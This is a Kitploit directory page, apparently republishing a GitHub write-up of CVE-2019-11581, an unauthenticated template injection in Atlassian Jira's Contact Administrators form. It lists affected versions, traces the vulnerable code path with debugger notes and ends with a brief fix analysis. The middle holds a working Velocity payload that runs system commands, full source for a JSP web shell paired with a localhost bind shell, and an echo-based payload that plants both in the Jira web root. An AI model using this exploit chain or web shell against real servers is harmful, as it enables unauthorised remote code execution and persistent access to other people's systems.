Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-11581 — Atlassian Jira 認証なしテンプレートインジェクション | Kitploit
ツール/GitHubGitHub/petrusviet/cve-2019-11581
脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用学習と教育ペイロード開発
GitHubpetrusviet/cve-2019-11581

CVE-2019-11581

Atlassian Jira 認証なしテンプレートインジェクション

リポジトリを見る
62594年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Atlassian Jira unauthen template injection (CVE-2019-11581)

I) ビルド

1. 脆弱性のあるバージョン

root@kitploit:~
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)

2. ビルドとデバッグ

  • リモートデバッグを実行できるように、./bin/setenv.bat ファイル内の set JVM_SUPPORT_RECOMMENDED_ARGS= の値を修正します(Linux では ./bin/setenv.sh も同様)。
root@kitploit:~
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  • IDE(Intellij)で Debug Configurations: Remote JVM Debug を作成し、host と port を localhost:5005 に設定し、Command line aguments for remote JVM に次のように指定します。
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • ./bin/config.bat(Linux では ./bin/config.sh)を実行し、「Jira home」を自分の Jira home ディレクトリに変更します。 image

  • ./bin/start-jira.bat(Linux では ./bin/start-jira.sh)を実行します。起動できない場合は、Java のバージョン、ポート 8080 と 5005 が空いているか確認してください。

  • プライベートモードを選択します image

  • この手順では、メールを受信できるメールアドレスを使用してください :) image

  • 設定とテスト接続をしっかり行ってください image

  • http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa で Contact Administrators Form 機能を有効にします image

  • ビルド時の注意点をいくつかメモしました。詳細は building jira from source を参照してください。

II) 分析

Advisory を読むと、このバグが ContactAdministrators と SendBulkMail にあることがわかります(SendBulkMail は認証が必要なため省略します)。そこで、ContactAdministrators 機能をテストしてリクエストを取得しました。

image

  • /secure/ContactAdministrators.jspa へのリクエストを確認したので、./atlassian-jira/WEB-INF/web.xml を見て、このリクエストがどのクラスに転送されるかを調べました
    image
    image

  • つまりリクエストは JiraWebworkActionDispatcher で処理されます。そこでこのクラスの init と server にブレークポイントを設定してデバッグを実行しました。 image

  • プログラムは server 関数で停止し、しばらくトレースすると ContactAdministrators.doExecute() に入りました。 image

  • 次に send に進みます。ここでプログラムは稼働中の管理者アカウントを列挙します。 image

  • その後、プログラムは sendTo 関数に進みます。ここで MailQueueItem を作成し、それを mailQueue に追加しているのがわかります。 image

  • プログラムは EmailBuilder.withSubject 関数を呼び出します。ここで、メールの subject 文字列(攻撃者から送信されたもの)が String から TemplateSources に変換され、EmailBuilder の subjectTemplate パラメータに割り当てられます。 image

  • renderLater 関数では、プログラムは EmailRenderer を作成し、それを使用して RenderingMailQueueItem を作成します。 image

  • ここから ContactAdministrators.sendTo 関数に戻ります。MailQueueItem の作成後、プログラムはアイテムを mailQueue に追加し、doExecute 関数に戻ってリダイレクトします。このデバッグフローに従うと、プログラムがメールをレンダリングする部分に到達できないため、テンプレートインジェクションが発生する箇所に到達できません。では、メール処理を追跡するにはどうすればよいのでしょうか?

  • EmailRenderer には renderNow 関数があることに気づきました(プログラムは renderLater しか呼び出しません)。キュー内のメールがレンダリングのために呼び出される際も renderNow と同じフローをたどるだろうと推測し、renderNow 関数からトレースすることにしました。 image

  • renderNow から、プログラムは EmailRenderer.render() を呼び出します。ここにブレークポイントを設定し、再度リクエストして、実際にここまで実行されるか確認しました。 image

  • 幸運なことに、プログラムは予想どおりの流れで動きました。次に、プログラムは renderEmailSubject を呼び出します。 image

  • 次に、プログラムは DefaultVelocityTemplatingEngine.render(this.subjectTemplate) を呼び出します。 image

  • DefaultVelocityTemplatingEngine.applying と DefaultVelocityTemplatingEngine.asPlainText に進みます。 image

  • 続いて asPlainText(Writer writer) を呼び出します。 image

  • toWriterImpl に進みます。渡した writer が Fragment であるため、プログラムは else に分岐します。

root@kitploit:~
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }
  • そして DefaultVelocityManager.writeEncodedBodyForContent を呼び出します。 image
  • 続いて VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader) と進みます。ここでプログラムは Reader から SimpleNode を作成します。 image
  • プログラムは render 関数に到達します。ここで nodeTree.render(ica, writer); を呼び出して Velocity テンプレートを解析するため、この時点でテンプレートインジェクションが可能になります!
root@kitploit:~
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }
  • 次に、コンタクトメールの subject を Velocity テンプレートのペイロードに置き換えました:
root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

image

  • そして PoC の再現に成功しました :) image

コールスタック

root@kitploit:~
ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	

これで Jira サーバー上で RCE が可能になりました。しかし、サーバーにアウトバウンド接続がない場合にシェルを取得したい場合はどうすればよいでしょうか? この場合、インターネットに接続するためのポートがないため、通常の bind/reverse shell を作成することはできません。

@honson97 さんからヒントをもらいました。「JSP Web ページを使用して攻撃者からの入力を受け取り、独立して動作しサーバーのローカルホストで待ち受ける bind shell に渡す」というものです。

image

このアイデアに基づき、web.jsp と blind.jsp の 2 つの JSP ファイルを作成しました。blind.jsp はブラインドシェルとして機能し、常に localhost:4444 で待ち受けてコマンドを cmd/base に渡し、結果を web.jsp に返します。web.jsp は攻撃者がコマンドを入力/出力するためのツールです。

file: web.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

file: bind.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

次に、シェルをサーバーにアップロードします。サーバーはアウトバウンド接続がない場合を想定しているため、echo コマンドでしかファイルをアップロードできません。まず、"\n" 文字と特別なエスケープ文字を(Python で)削除します。

root@kitploit:~
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)

その後、得られた文字列をコピーしてペイロードに入れます。

root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()

web.jsp と bind.jsp の 2 つのファイルをアップロードしたら、/bind.jsp にアクセスし、別のタブで /web.jsp?cmd=COMMAND にアクセスしてシェルをテストします。 image

修正

修正版の ContactAdministrators.sendTo() では、クライアントからの入力を直接 EmailBuilder.withSubject に渡して(レンダリング可能な)テンプレートソースに変換するのではなく、入力は文字列コンテキストとして取り込まれ、EmailBuilder.withSubject には文字列 "$subject" だけが渡されます。レンダリング時、システムはテンプレート "$subject" を実行します。つまり、subject(クライアントからの入力)を文字列コンテキストとして読み込むだけで、それをレンダリングしません。言い換えれば、プログラムは入力をレンダリング可能なテンプレートとしてではなく、文字列として読み込みます。

image 脆弱性のあるバージョン

image 修正版

ツールをダウンロード